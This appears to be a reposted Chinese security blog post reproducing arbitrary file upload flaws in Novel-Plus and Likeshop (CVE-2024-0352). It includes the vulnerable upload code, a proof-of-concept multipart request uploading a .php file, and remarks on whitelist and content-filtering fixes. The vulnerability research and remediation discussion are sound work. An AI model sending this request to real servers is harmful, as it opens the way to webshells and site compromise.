Novel-Plus漏洞介绍
复现
java
@ResponseBody
@PostMapping("/upload")
R upload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {
if ("test".equals(getUsername())) {
return R.error(1, "演示系统不允许修改,完整体验请部署程序");
}
Date date = new Date();
String year = DateUtils.format(date, DateUtils.YEAR_PATTERN);
String month = DateUtils.format(date, DateUtils.MONTH_PATTERN);
String day = DateUtils.format(date, DateUtils.DAY_PATTERN);
String fileName = file.getOriginalFilename();
String fileDir = year + "/" + month + "/" + day + "/";
fileName = FileUtil.renameToUUID(fileName);
FileDO sysFile = new FileDO(FileType.fileType(fileName), Constant.UPLOAD_FILES_PREFIX + fileDir + fileName,
date);
try {
FileUtil.uploadFile(file.getBytes(), jnConfig.getUploadPath() + fileDir, fileName);
} catch (Exception e) {
return R.error();
}
if (sysFileService.save(sysFile) > 0) {
return R.ok().put("fileName", sysFile.getUrl());
}
return R.error();
}
这个项目是一个前后端分离的项目,不知道如何才能进行进一步的利用
Likeshop任意文件上传
Github地址:https://github.com/likeshop-github/likeshop
漏洞编号:cve-2024-0352、cnnvd-202401-765
POC
POST
/api/file/formimage
HTTP/2
Host
: x.x.x.
User-Agent
: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection
: close
Content-Length
: 201
Content-Type
: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding
: gzip, deflate
------WebKitFormBoundarygcflwtei
Content-Disposition: form-
data
; name=
"file"
;filename=
"test.php"
Content-Type: application/x-php
This page has a vulnerability!
------WebKitFormBoundarygcflwtei--
具体对应到的则是/server/application/api/controller/file文件下面的formImage函数
<?php
namespace appapicontroller;
use appcommonserverFileServer;
class File extends ApiBase
{
public
$like_not_need_login
= [
'formImage'
,
'test'
];
/**
* showdoc
* @catalog 接口/上传文件
* @title form表单方式上传图片
* @description 图片上传
* @method post
* @url /file/formimage
* @
return
param
name string 图片名称
* @
return
param
url string 文件地址
* @remark
* @number
1
* @
return
{
"code"
:
1
,
"msg"
:
"上传文件成功"
,
"data"
:{
"url"
:
"http://likeb2b2c.yixiangonline.com/uploads/images/user/20200810/3cb866f6bb30b7239d91582f7d9822d6.png"
,
"name"
:
"2.png"
},
"show"
:
0
,
"time"
:
"0.283254"
,
"debug"
:{
"request"
:{
"get"
:[],
"post"
:[],
"header"
:{
"content-length"
:
"103132"
,
"content-type"
:
"multipart/form-data; boundary=--------------------------206668736604428806173438"
,
"connection"
:
"keep-alive"
,
"accept-encoding"
:
"gzip, deflate, br"
,
"host"
:
"www.likeb2b2c.com:20002"
,
"postman-token"
:
"1f8aa4dd-f53c-4d12-98b4-8d901ac847db"
,
"cache-control"
:
"no-cache"
,
"accept"
:
"*/*"
,
"user-agent"
:
"PostmanRuntime/7.26.2"
}}}}
*/
public
function
formImage()
{
$data
= FileServer::userFormImage(
$this
->user_id);
$this
->_success(
$data
[
'msg'
],
$data
[
'data'
],
$data
[
'code'
]);
}
}
继续跟进userFormImage这个函数
```php
public
static
function
userFormImage
($user_id =
0
, $save_dir=
'uploads/user'
)
{
try
{
$config = [
'default'
=> ConfigServer::get(
'storage'
,
'default'
,
'local'
),
'engine'
=> ConfigServer::get(
'storage_engine'
)
];
if
(
empty
($config[
'engine'
][
'local'
])) {
$config[
'engine'
][
'local'
] = [];
}
$StorageDriver =
new
StorageDriver($config);
$StorageDriver->setUploadFile(
'file'
);
if
(!$StorageDriver->upload($save_dir)) {
throw
new
Exception
(
'图片上传失败'
. $StorageDriver->getError());
}
// 图片上传路径
$fileName = $StorageDriver->getFileName();
// 图片信息
$fileInfo = $StorageDriver->getFileInfo();
// 记录图片信息
$data = [
'user_id'
=> $user_id ? $user_id :
0
,
'name'
=> $fileInfo[
'name'
],
'type'
=> File::type_image,
'uri'
=> $save_dir .
'/'
. str_replace(
"\"
,
"/"
, $fileName),
'create_time'
=> time(),
];
Db::name(
'user_file'
)->insert($data);
$result[
'url'
] = UrlServer::getFileUrl($data[
'uri'
]);
$result[
'base_url'
] = $data[
'uri'
];
$result[
'name'
] = $data[
'name'
];
return
self
::dataSuccess(
'上传文件成功'
, $result);
}
catch
(
Exception
$e) {
$message = lang($e->getMessage()) ?? $e->getMessage();
return
self
::dataError(
'上传文件失败:'
. $message);
}
}
添加了一个验证文件是否是指定的图片,然后在文件上传的地方进行验证。
这种白名单修复文件上传的方法只是一种,我觉得还可以加上进行过滤文件内容,可以进行过滤`<`由此就可以很大概率的禁止php代码的执行。
题外话
代码中的漏洞防不胜防,修复和对抗的过程令人着迷
在审计novel-plus的时候,运气好发现另一个函数也具有漏洞,获得了自己的第一个cve——CVE-2024-33383,也算的是一个别的收获了
原文始发于微信公众号(极星信安):浅谈Novel-Plus和Likeshop任意文件上传漏洞复现过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论